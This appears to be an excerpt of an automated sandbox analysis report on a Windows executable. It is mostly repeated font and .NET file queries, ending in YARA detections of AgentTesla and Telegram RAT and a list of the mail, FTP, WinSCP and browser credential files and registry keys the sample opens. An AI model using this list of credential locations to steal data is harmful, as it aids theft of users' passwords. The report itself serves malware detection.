                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Users\user\Desktop\rzN2ckYW24.exe VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeCode function: 2_2_05C45880 GetUserNameW,2_2_05C45880

                Stealing of Sensitive Information

                barindex
                Yara detected Telegram RAT
                Source: Yara matchFile source: 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: rzN2ckYW24.exe PID: 6128, type: MEMORYSTR
                Yara detected AgentTesla
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.3dd31a8.13.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.0.rzN2ckYW24.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.3e099c8.12.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.3d99188.11.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.3e099c8.12.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.rzN2ckYW24.exe.3dd31a8.13.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000000.279572374.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.299828968.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.522788647.0000000002854000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: rzN2ckYW24.exe PID: 3044, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: rzN2ckYW24.exe PID: 6128, type: MEMORYSTR
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
                Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\SessionsJump to behavior
                Tries to harvest and steal ftp login credentials
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\Jump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xmlJump to behavior
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: Yara matchFile source: 00000002.00000002.522788647.0000000002854000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
